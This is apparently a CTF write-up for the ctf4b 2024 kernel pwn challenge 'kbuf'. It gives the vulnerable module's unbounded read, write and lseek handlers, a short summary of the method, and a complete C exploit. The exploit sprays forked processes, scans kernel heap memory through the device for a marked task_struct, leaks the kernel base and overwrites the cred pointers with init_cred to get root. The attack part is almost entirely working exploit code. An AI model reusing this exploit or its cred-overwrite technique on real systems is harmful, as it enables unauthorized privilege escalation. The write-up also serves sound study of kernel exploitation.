kbuf
ctf4b 2024 pwn
challenge
#define DEVICE_NAME "kbuf"
#define MEMO_SIZE 0x800
static struct kmem_cache *kbuf_cache = NULL;
static int module_open(struct inode *inode,
                       struct file *filp) {
  filp->private_data = kmem_cache_alloc(kbuf_cache, GFP_KERNEL);
  return filp->private_data ? 0 : -ENOMEM;
}
static ssize_t module_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
  if (copy_to_user(buf, filp->private_data + *pos, size))
    return -EINVAL;
  *pos += size;
  return size;
}
static ssize_t module_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
  if (copy_from_user(filp->private_data + *pos, buf, size))
    return -EINVAL;
  *pos += size;
  return size;
}
static loff_t module_lseek(struct file *filp, loff_t offset, int orig) {
  loff_t new_pos = 0;
  switch (orig) {
    case 0: // SEEK_SET
      new_pos = offset;
      break;
    case 1: // SEEK_CUR
      new_pos = filp->f_pos + offset;
      break;
    case 2: // SEEK_END
      new_pos = MEMO_SIZE + offset;
      break;
  }
  return filp->f_pos = new_pos;
}
summary
In this challenge, there's oob vulnerability in heap. Since the size of buffer is #define MEMO_SIZE 0x800 and there's no restrict to the bound width, I allocated many task_struct and found one by the comm field, overwrite cred to init_cred.
Also, we can easily to bypass kASLR by just leaking nsproxy field in the task_struct.
exploit
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define COLOR_RESET   "\033[0m"
#define COLOR_RED     "\033[0;31m"
#define COLOR_GREEN   "\033[0;32m"
#define COLOR_YELLOW  "\033[0;33m"
#define COLOR_BLUE    "\033[0;34m"
#define COLOR_MAGENTA "\033[0;35m"
#define COLOR_CYAN    "\033[0;36m"
#define PROC_NAME "NKTIDKSG"
#define info(fmt, ...) \
    printf(COLOR_CYAN "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define success(fmt, ...) \
    printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define error(fmt, ...) \
    printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define warning(fmt, ...) \
    printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
const char *module = "/dev/kbuf";
unsigned long kbase;
unsigned long init_cred;
unsigned long modprobe_path;
void create_task(void) {
    info("create_task");
    for (int i = 0; i < 10; i++) {
        if (fork() == 0) {
            info("fork success");
            sleep(10);
            if (getuid() == 0) {
                success("win");
                system("/bin/ls /root\n");
            }
            exit(1337);
        }
    }
}
void *dump_memory(char *buf) {
    char *p = buf;
    for (int i = -0x100; i < 0x100; i += 0x10) {
        printf("0x%06x |", i);
        printf(" %lx ", *(unsigned long *)(p + i));
        printf(" %lx ", *(unsigned long *)(p + i + 8));
        printf("\n");
    }
}
void *search_memory(int fd, char *str) {
    char buf[0x1000];
    u_int64_t offset;
    for (offset = 0; ; offset += sizeof(buf)) {
        lseek(fd, offset, SEEK_SET);
        if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue;
        for (size_t j = 0; j < sizeof(buf); j += 0x10) {
            if (memcmp((void *)(buf + j) ,str, strlen(str)) == 0) {
                info("comm: %s @ offset: 0x%lx index: 0x%lx", buf + j, offset , j);
                memcpy(&kbase, buf + j + 0x48, sizeof(unsigned long));
                info("kbase: %lx", kbase);
                kbase = kbase - (0xffffffffaa43dc80 - 0xffffffffa9400000);
                info("kbase: %lx", kbase);
                init_cred = kbase + (0xffffffff9323e060-0xffffffff92200000);
                info("init_cred: %lx", init_cred);
                dump_memory(buf + j);
                char payload[0x10];
                memcpy(payload, &init_cred, 0x8);
                memcpy(payload+8, &init_cred, 0x8);
                lseek(fd, offset+j-0x10, SEEK_SET);
                write(fd, payload, sizeof(payload));
                lseek(fd, offset, SEEK_SET);
                if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue;
                info("cred overwrite");
                dump_memory(buf + j);
                return (void *)(offset + j - 0x5e0);
            }
        }
    }
}
int init(void) {
    info("init");
    prctl(PR_SET_NAME, PROC_NAME, 0, 0, 0);
    int fd = open(module, O_RDWR);
    if (fd < 0) {
        error("open %s failed", module);
        exit(1);
    }
    return fd;
}
int main(void) {
    int fd = init();
    create_task();
    search_memory(fd, PROC_NAME);
}
Last modified: 09 May 2025